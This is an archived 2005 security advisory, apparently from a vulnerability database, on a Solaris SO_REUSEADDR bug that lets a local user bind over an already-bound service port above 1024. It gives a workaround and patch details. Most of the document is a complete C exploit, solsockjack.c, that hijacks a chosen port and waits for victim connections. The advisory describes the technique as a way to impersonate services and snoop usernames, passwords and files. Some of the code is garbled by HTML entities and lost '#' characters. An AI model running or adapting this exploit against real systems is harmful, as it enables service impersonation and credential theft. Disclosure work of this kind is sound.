Solaris Socket Hijack

2005-07-07T00:00:00
ID SECURITYVULNS:DOC:9087
Type securityvulns
Reporter Securityvulns
Modified 2005-07-07T00:00:00

Description

/*


$ An open security advisory #7 - SUN Solaris SO_REUSEADDR Local Socket Hijack Bug


1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com 2: Bug Released: July 06 2005 3: Bug Impact Rate: Medium / Hi 4: Bug Scope Rate: Local / Remote


$ This advisory and/or proof of concept code must not be used for commercial gain.


Sun MicroSystems http://www.sun.com

Solaris has a bug in the use of SO_REUSEADDR in that the Kernel favours any socket binding operation that is more specific than the general "." wildcard bind(). As such, a malicious socket can bind to an already bound interface if a specific IP address is used.

This hijack can be performed against any process over 1024, including root owned services, it is not limited to your own user account. One can then mimic the original service and snoop usernames / passwords, files and data with a trojan version of software, or just cause a DOS against the legitimate service, providing the service is bound to a port above 1024 and uses the SO_REUSEADDR option.

Anyway, a work around could be setting the port numbers that are valuable to the system as privileged. Using the following kernel parameter, you can set ports above 1024 to act as reserved so only root can bind to them.

    tcp_extra_priv_ports_add

To view privileged ports, run the following command:

    ndd /dev/tcp tcp_extra_priv_ports

To set ports as privileged, run the following command:

    ndd -set /dev/tcp tcp_extra_priv_ports_add 8080

Effected: All Solaris versions. Not effected: Linux, OpenBSD, FreeBSD, Windows.

SUN have released a patch for the issue which can be downloaded from sunsolve.

Document Audience: PUBLIC Document ID: 116965-08 Title: Obsoleted by: 116965-09 SunOS 5.8: ip/arp/tcp/udp patch Update Date: Thu May 05 09:28:25 MDT 2005 See Patch Revision History

Patch Id: 116965-08

Problem Description:

5089150 Binding to a port which has already been bound may incorrectly succeed

*/

/ solsockjack.c /

include <stdlib.h>

include <stdio.h>

include <string.h>

include <unistd.h>

include <netinet/in.h>

include <sys/socket.h>

include <sys/types.h>

include <sys/utsname.h>

include <arpa/inet.h>

define BAD "!@#$%^&*()-_=+[]{};':\",/<>?\\|`~

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

define DEFHOST "localhost"

define MAX_INCONN 1

define PORT 1241 / Nessus /

define SYSTEM "SunOS"

define BL "\x1B[1;34m"

define NO "\x1B[0m"

define PI "\x1B[35m"

define PU "\x1B[1;35m"

define RE "\x1B[1;31m"

define WH "\x1B[1;37m"

define YE "\x1B[1;33m"

void banner(void) { fprintf(stderr, "\n%s[-] %sSUN Solaris SPARC / x86 Local Socket Hijack Exploit\n", YE, NO); fprintf(stderr, "%s[-] %sKernel issue allows a bind on an already bound socket\n", YE, NO); fprintf(stderr, "%s[-] %sallowing a malicious user to impersonate a service that\n", YE, NO); fprintf(stderr, "%s[-] %sis already running on a port greater than 1024, making\n", YE, NO); fprintf(stderr, "%s[-] %sservice-in-the-middle attacks a trivial task to perform.\n", YE, NO); fprintf(stderr, "%s[-] %sDeveloped by c0ntex || c0ntexb@gmail.com%s\n\n", YE, WH, NO);

    _exit&#40;EXIT_SUCCESS&#41;;

}

void usage(int argc, char **argv) { fprintf(stderr, "%s[-] %s Usage:\n", YE, NO); fprintf(stderr, "%s[-] %s\t -h \t\tIP address to bind socket to\n", YE, NO); fprintf(stderr, "%s[-] %s\t -p \t\tport number to attempt hijack of\n", YE, NO); fprintf(stderr, "%s[-] %s\t -v \t\tPrints this help\n", YE, NO);

    fprintf&#40;stderr, &quot;&#37;s[-] &#37;s&#37;s -h 10.1.1.215 -p 1241&#92;n&#92;n&quot;, YE, NO, argv[0]&#41;;

    _exit&#40;EXIT_FAILURE&#41;;

}

void checkerr(char *isvuln) { free(isvuln); puts("Not today!"); _exit(EXIT_FAILURE); }

void jackerr(char *vulnerable) { free(vulnerable); _exit(EXIT_FAILURE); }

char checksys(char isvuln) { struct utsname name;

    if&#40;uname&#40;&name&#41; &lt; 0&#41; {
            puts&#40;&quot;uname failed&quot;&#41;;
    }

    isvuln = malloc&#40;6&#41;;
    if&#40;!isvuln&#41; {
            perror&#40;&quot;malloc&quot;&#41;;
            _exit&#40;EXIT_FAILURE&#41;;
    }

    if&#40;&#40;name.sysname == NULL&#41; || &#40;strlen&#40;name.sysname&#41; &lt; 1&#41; || &#40;strlen&#40;name.sysname&#41; &gt; 5&#41;&#41; {
            checkerr&#40;isvuln&#41;;
    }

    memcpy&#40;isvuln, name.sysname, strlen&#40;name.sysname&#41;&#41;;
    if&#40;!isvuln&#41; {
            checkerr&#40;isvuln&#41;;
    }

    return&#40;isvuln&#41;;

}

int main(int argc, char **argv) { int inbuf, jacksock, opts, solvuln; int port = PORT;

    char *vulnerable = NULL;
    char *systype = NULL;
    char *isvuln = NULL;
    char *bad = NULL;

    struct sockaddr_in solaris, victims;

    if&#40;argc &lt; 2&#41; {
            banner&#40;&#41;;
            _exit&#40;EXIT_FAILURE&#41;;
    }

    if&#40;&#40;systype = checksys&#40;isvuln&#41;&#41; == NULL&#41; {
            puts&#40;&quot;Something messed up!&quot;&#41;;
            checkerr&#40;isvuln&#41;;
    }

    if&#40;strcmp&#40;SYSTEM, systype&#41; != 0&#41; {
            puts&#40;&quot;System is not supported - SunOS only!&quot;&#41;;
            checkerr&#40;isvuln&#41;;
    }

    fprintf&#40;stderr, &quot;&#92;n&#37;s-&gt; &#37;sOK, potential vulnerable &#37;s[&#37;s] &#37;ssystem, continuing..&#92;n&quot;, WH, NO, BL,

systype, NO);

    free&#40;isvuln&#41;; sleep&#40;2&#41;;

    while&#40;&#40;opts = getopt&#40;argc, argv, &quot;h:p:v&quot;&#41;&#41; != -1&#41; {
            switch&#40;opts&#41;
                    {
                    case &#39;h&#39;:
                            bad = BAD;
                            vulnerable = malloc&#40;16&#41;;
                            if&#40;!vulnerable&#41; {
                                    perror&#40;&quot;malloc&quot;&#41;;
                                    _exit&#40;EXIT_FAILURE&#41;;
                            }

                            if&#40;&#40;optarg == NULL&#41; || &#40;strlen&#40;optarg&#41; &lt; 7&#41; || &#40;strlen&#40;optarg&#41; &gt; 15&#41; ||

strpbrk(bad, optarg)) { puts("\n[-] Failed: IP address just isn't right!\n"); jackerr(vulnerable); }

                            memcpy&#40;vulnerable, optarg, strlen&#40;optarg&#41;&#41;;
                            if&#40;!vulnerable&#41; {
                                    jackerr&#40;vulnerable&#41;;
                            }
                            break;
                    case &#39;p&#39;:
                            port = atoi&#40;optarg&#41;;
                            if&#40;&#40;port &lt; 1024&#41; || &#40;port &gt; 65535&#41;&#41; {
                                    puts&#40;&quot;&#92;n[-] Failed: Port number just isn&#39;t right!&#92;n&quot;&#41;;
                                    usage&#40;argc, argv&#41;;
                                    _exit&#40;EXIT_FAILURE&#41;;
                            }
                            break;
                    case &#39;v&#39;:
                            usage&#40;argc, argv&#41;;
                            break;
                    default:
                            usage&#40;argc, argv&#41;;
                            break;
                    }
    }

    if&#40;vulnerable == NULL&#41; {
            jackerr&#40;vulnerable&#41;;
    }

    fprintf&#40;stderr, &quot;&#37;s-&gt; &#37;sJacking port &#37;s[&#37;d] &#37;sat address &#37;s[&#37;s]&#37;s&#92;n&quot;, WH, NO, PI, port, NO, PU,

vulnerable, NO);

    jacksock = socket&#40;AF_INET, SOCK_STREAM, 0&#41;;
    if&#40;jacksock &lt; 0&#41; {
            perror&#40;&quot;socket&quot;&#41;;
            jackerr&#40;vulnerable&#41;;
    } sleep&#40;2&#41;;

    if&#40;setsockopt&#40;jacksock, SOL_SOCKET, SO_REUSEADDR, &solvuln, sizeof&#40;int&#41;&#41; &lt; 0&#41; {
            perror&#40;&quot;setsockopt&quot;&#41;;
    }

    solaris.sin_family = AF_INET;
    solaris.sin_port = htons&#40;port&#41;;
    solaris.sin_addr.s_addr = inet_addr&#40;vulnerable&#41;;
    memset&#40;&solaris.sin_zero, &#39;&#92;0&#39;, sizeof&#40;solaris.sin_zero&#41;&#41;;

    if&#40;bind&#40;jacksock, &#40;struct sockaddr *&#41;&solaris, sizeof&#40;struct sockaddr&#41;&#41; &lt; 0&#41; {
            perror&#40;&quot;bind&quot;&#41;;
            fprintf&#40;stderr, &quot;[-] &#37;sFailed: &#37;sCould not snag port, must be patched!&#92;n&quot;, RE, NO&#41;;
            jackerr&#40;vulnerable&#41;;
    }

    fprintf&#40;stderr, &quot;&#37;s-&gt; &#37;s&#37;sSuccess!! &#37;sPort &#37;s[&#37;d] &#37;shas been hijacked!&#92;n&#37;s-&gt; &#37;sWait...&#92;n&quot;, WH, NO,

YE, NO, PI, port, NO, WH, NO);

    if&#40;listen&#40;jacksock, MAX_INCONN&#41; &lt; 0&#41; {
            perror&#40;&quot;listen&quot;&#41;;
            puts&#40;&quot;[-] Failed: Could not listen for an incoming connection!&quot;&#41;;
            jackerr&#40;vulnerable&#41;;
    } sleep&#40;2&#41;;

    fprintf&#40;stderr, &quot;&#37;s-&gt; &#37;sOK, listening for incoming connections to compromise&quot;, WH, NO&#41;;

    inbuf = sizeof&#40;victims&#41;;

    if&#40;accept&#40;jacksock, &#40;struct sockaddr *&#41;&victims, &inbuf&#41; &lt; 0&#41; {
            perror&#40;&quot;accept&quot;&#41;;
            puts&#40;&quot;[-] Failed: Could not accept the incoming connection!&quot;&#41;;
            jackerr&#40;vulnerable&#41;;
    }

    fprintf&#40;stderr, &quot;&#92;n&#37;s-&gt; &#37;sSnagged a victim connecting from &#37;s[&#37;s]&#37;s&#92;n&quot;, WH, NO, YE,

inet_ntoa(victims.sin_addr), NO);

    sleep&#40;1&#41;;

    close&#40;jacksock&#41;;

    puts&#40;&quot;-&gt; Victim has been released to live another day!&quot;&#41;;

    sleep&#40;1&#41;;

    puts&#40;&quot;-&gt; Test was a success!&quot;&#41;;

    free&#40;vulnerable&#41;;

    return&#40;0&#41;;

}